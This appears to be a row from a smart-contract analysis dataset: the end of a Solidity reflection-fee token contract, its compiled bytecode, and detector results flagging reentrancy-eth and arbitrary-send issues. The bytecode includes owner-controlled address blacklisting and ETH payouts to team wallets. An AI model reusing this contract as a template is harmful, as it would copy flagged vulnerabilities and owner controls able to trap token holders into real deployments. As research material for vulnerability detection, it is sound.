(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146102ea578063b9f145571461030a578063c3c8cd801461032a578063c9567bf91461033f578063dd62ed3e1461035457600080fd5b806370a082311461026d578063715018a61461028d5780638da5cb5b146102a257806395d89b4114610124578063a9059cbb146102ca57600080fd5b80632634e5e8116100e75780632634e5e8146101da578063313ce567146101fc578063445b1a78146102185780635932ead1146102385780636fc3eaec1461025857600080fd5b806306fdde0314610124578063095ea7b31461016557806318160ddd1461019557806323b872dd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600981526829b837b733b2a137b160b91b6020820152905161015c9190611ad4565b60405180910390f35b34801561017157600080fd5b5061018561018036600461195b565b61039a565b604051901515815260200161015c565b3480156101a157600080fd5b50678ac7230489e800005b60405190815260200161015c565b3480156101c657600080fd5b506101856101d53660046118ec565b6103b1565b3480156101e657600080fd5b506101fa6101f5366004611a8d565b61041a565b005b34801561020857600080fd5b506040516009815260200161015c565b34801561022457600080fd5b506101fa61023336600461192d565b6104e8565b34801561024457600080fd5b506101fa610253366004611a53565b6105dd565b34801561026457600080fd5b506101fa610625565b34801561027957600080fd5b506101ac610288366004611879565b610652565b34801561029957600080fd5b506101fa610674565b3480156102ae57600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102d657600080fd5b506101856102e536600461195b565b6106e8565b3480156102f657600080fd5b506101fa610305366004611987565b6106f5565b34801561031657600080fd5b506101fa610325366004611879565b61078b565b34801561033657600080fd5b506101fa6107cc565b34801561034b57600080fd5b506101fa610802565b34801561036057600080fd5b506101ac61036f3660046118b3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a7338484610bc4565b5060015b92915050565b60006103be848484610ce8565b610410843361040b85604051806060016040528060288152602001611cc0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110fa565b610bc4565b5060019392505050565b600d546001600160a01b0316336001600160a01b03161461043a57600080fd5b6000811161048f5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b6104ad6127106104a7678ac7230489e8000084611134565b906111ba565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600d546001600160a01b0316336001600160a01b03161461050857600080fd5b8015610575574261051c816203f480611bcf565b1161054d5760405162461bcd60e51b81526020600482015260016024820152600f60fb1b6044820152606401610486565b6001600160a01b0382166000908152600a60205260409020805460ff19166001179055610596565b6001600160a01b0382166000908152600a60205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b031633146106075760405162461bcd60e51b815260040161048690611b29565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461064557600080fd5b4761064f816111fc565b50565b6001600160a01b0381166000908152600260205260408120546103ab90611281565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161048690611b29565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a7338484610ce8565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161048690611b29565b60005b8151811015610787576001600b600084848151811061074357610743611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077f81611c3f565b915050610722565b5050565b600d546001600160a01b0316336001600160a01b0316146107ab57600080fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b0316146107ec57600080fd5b60006107f730610652565b905061064f816112fe565b6000546001600160a01b0316331461082c5760405162461bcd60e51b815260040161048690611b29565b601054600160a01b900460ff16156108865760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610486565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c23082678ac7230489e80000610bc4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fb57600080fd5b505afa15801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190611896565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097b57600080fd5b505afa15801561098f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b39190611896565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109fb57600080fd5b505af1158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a339190611896565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a6381610652565b600080610a786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610adb57600080fd5b505af1158015610aef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b149190611aa6565b505060108054671bc16d674ec8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b8c57600080fd5b505af1158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190611a70565b6001600160a01b038316610c265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610486565b6001600160a01b038216610c875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610486565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610486565b6001600160a01b038216610dae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610486565b60008111610e105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610486565b6000546001600160a01b03848116911614801590610e3c57506000546001600160a01b03838116911614155b1561109d57601054600160b81b900460ff1615610f23576001600160a01b0383163014801590610e7557506001600160a01b0382163014155b8015610e8f5750600f546001600160a01b03848116911614155b8015610ea95750600f546001600160a01b03838116911614155b15610f2357600f546001600160a01b0316336001600160a01b03161480610ee357506010546001600160a01b0316336001600160a01b0316145b610f235760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610486565b601154811115610f3257600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610f7457506001600160a01b0382166000908152600b602052604090205460ff16155b610f7d57600080fd5b6010546001600160a01b038481169116148015610fa85750600f546001600160a01b03838116911614155b8015610fcd57506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe25750601054600160b81b900460ff165b15611030576001600160a01b0382166000908152600c6020526040902054421161100b57600080fd5b611016426078611bcf565b6001600160a01b0383166000908152600c60205260409020555b600061103b30610652565b601054909150600160a81b900460ff1615801561106657506010546001600160a01b03858116911614155b801561107b5750601054600160b01b900460ff165b1561109b57611089816112fe565b47801561109957611099476111fc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806110df57506001600160a01b03831660009081526005602052604090205460ff165b156110e8575060005b6110f484848484611487565b50505050565b6000818484111561111e5760405162461bcd60e51b81526004016104869190611ad4565b50600061112b8486611c28565b95945050505050565b600082611143575060006103ab565b600061114f8385611c09565b90508261115c8583611be7565b146111b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610486565b9392505050565b60006111b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b3565b600d546001600160a01b03166108fc6112168360026111ba565b6040518115909202916000818181858888f1935050505015801561123e573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112598360026111ba565b6040518115909202916000818181858888f19350505050158015610787573d6000803e3d6000fd5b60006006548211156112e85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610486565b60006112f26114e1565b90506111b383826111ba565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134657611346611c70565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139a57600080fd5b505afa1580156113ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d29190611896565b816001815181106113e5576113e5611c70565b6001600160a01b039283166020918202929092010152600f5461140b9130911684610bc4565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611444908590600090869030904290600401611b5e565b600060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b8061149457611494611504565b61149f848484611527565b806110f4576110f460046008556002600955565b600081836114d45760405162461bcd60e51b81526004016104869190611ad4565b50600061112b8486611be7565b60008060006114ee61161e565b90925090506114fd82826111ba565b9250505090565b6008541580156115145750600954155b1561151b57565b60006008819055600955565b6000806000806000806115398761165e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156b90876116bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159a90866116fd565b6001600160a01b0389166000908152600260205260409020556115bc8161175c565b6115c684836117a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160b91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061163982826111ba565b82101561165557505060065492678ac7230489e8000092509050565b90939092509050565b600080600080600080600080600061167b8a6008546009546117ca565b925092509250600061168b6114e1565b9050600080600061169e8e878787611819565b919e509c509a509598509396509194505050505091939550919395565b60006111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fa565b60008061170a8385611bcf565b9050838110156111b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610486565b60006117666114e1565b905060006117748383611134565b3060009081526002602052604090205490915061179190826116fd565b30600090815260026020526040902055505050565b6006546117b390836116bb565b6006556007546117c390826116fd565b6007555050565b60008080806117de60646104a78989611134565b905060006117f160646104a78a89611134565b90506000611809826118038b866116bb565b906116bb565b9992985090965090945050505050565b60008080806118288886611134565b905060006118368887611134565b905060006118448888611134565b905060006118568261180386866116bb565b939b939a50919850919650505050505050565b803561187481611c9c565b919050565b60006020828403121561188b57600080fd5b81356111b381611c9c565b6000602082840312156118a857600080fd5b81516111b381611c9c565b600080604083850312156118c657600080fd5b82356118d181611c9c565b915060208301356118e181611c9c565b809150509250929050565b60008060006060848603121561190157600080fd5b833561190c81611c9c565b9250602084013561191c81611c9c565b929592945050506040919091013590565b6000806040838503121561194057600080fd5b823561194b81611c9c565b915060208301356118e181611cb1565b6000806040838503121561196e57600080fd5b823561197981611c9c565b946020939093013593505050565b6000602080838503121561199a57600080fd5b823567ffffffffffffffff808211156119b257600080fd5b818501915085601f8301126119c657600080fd5b8135818111156119d8576119d8611c86565b8060051b604051601f19603f830116810181811085821117156119fd576119fd611c86565b604052828152858101935084860182860187018a1015611a1c57600080fd5b600095505b83861015611a4657611a3281611869565b855260019590950194938601938601611a21565b5098975050505050505050565b600060208284031215611a6557600080fd5b81356111b381611cb1565b600060208284031215611a8257600080fd5b81516111b381611cb1565b600060208284031215611a9f57600080fd5b5035919050565b600080600060608486031215611abb57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b0157858101830151858201604001528201611ae5565b81811115611b13576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bae5784516001600160a01b031683529383019391830191600101611b89565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611be257611be2611c5a565b500190565b600082611c0457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c2357611c23611c5a565b500290565b600082821015611c3a57611c3a611c5a565b500390565b6000600019821415611c5357611c53611c5a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064f57600080fd5b801515811461064f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072accdc9250431162db90c0956f4bbbe4272481e61590be166767a7a186139e264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.